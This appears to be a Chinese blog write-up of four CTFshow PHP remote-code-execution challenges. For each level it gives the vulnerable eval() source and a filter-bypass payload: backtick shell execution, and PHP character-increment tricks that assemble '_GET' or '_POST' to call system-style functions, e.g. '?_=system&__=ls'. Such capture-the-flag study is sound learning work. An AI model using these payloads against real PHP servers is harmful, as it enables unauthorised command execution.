CTFSHOW-RCE挑战

第一关源码:

<?php error_reporting(0); 
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code); 
eval($code); ?>

分析:post一个请求然后不能出现,和.

初步思路是直接用反引号输出,也就是echo出来一个shell命令

尝试如下:

 

bf2591a23829d0eae9009202f1fef1e0.png

用echo将值输出回来,然后反引号包裹shell命令。

第二关源码:

<?php //本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (is_string($ctfshow)) { if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|~\\]/",$ctfshow)){ eval($ctfshow); }else{ echo("Are you hacking me AGAIN?"); } }else{ phpinfo(); } } ?>`

额,根据我的印象中,这个题需要用自增。

但是居然没有限制长度?只是限制了全数字和全字母

思路:用post构造一个get请求

<?php
​
$_=[].'';//'array'
$___ = $_[$__]; //a
$___++;
$___++;
$___++;
$___++;
$___++;//f
$____=++$___;//g
$_=[].'';
$___ = $_[$__]; //a
$___++;//b
$___++;//c
$___++;//d
$___++;//e
$____.=$___++;//ge
​
$_=[].'';
$___ = $_[$__]; //a
$___++;//b
$___++;//c
$___++;//d
$___++;//e
$___++;//f
$___++;//g
$___++;//h
$___++;//i
$___++;//j
$___++;//k
$___++;//l
$___++;//m
$___++;//n
$___++;//o
$___++;//p
$___++;//q
$___++;//r
$___++;//s
$___++;//t
$____.=$___++;
$_=_.$____;//_GET
($$_[_])($$_[__]);
这是编译前,记得删除注释后用url进行编码

然后在get请求里面用_和__代替掉system和ls

payload:?_=system&__=ls

 

第三关源码:

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
​
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

分析:自增加上长度过滤,但是放出来了0和1,可以用01做变量来进行传参。

<?php
echo ''.[];
//输出 Array
​
$_=(_/_._);
echo $_;
//输出NAN的第一个字符
其实是not a number缩写

 

<?php
$_=(_/_._)[0];//N
​
$_0=++$_;//o
​
$_1=_.++$_.$_0;//_po
​
$_++;//q
$_++;//r
​
$_1.=++$_.++$_;//_POST
​
$$_1[0]($$_1[1]);
在post里面用0和1进行命令执行
同样记得url编码

第四关源码:

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
​
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

只有0放出来了,并且字符数进一步缩小,但是可以在上一道题基础上改一下

payload:
$_=(_/_._)[0];
$_0=++$_;
$__=_.++$_.$_0;
$_++;
$_++;
$__.=++$_.++$_;
$$__[0]($$__[_]);
//url编码

 

  • 11
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值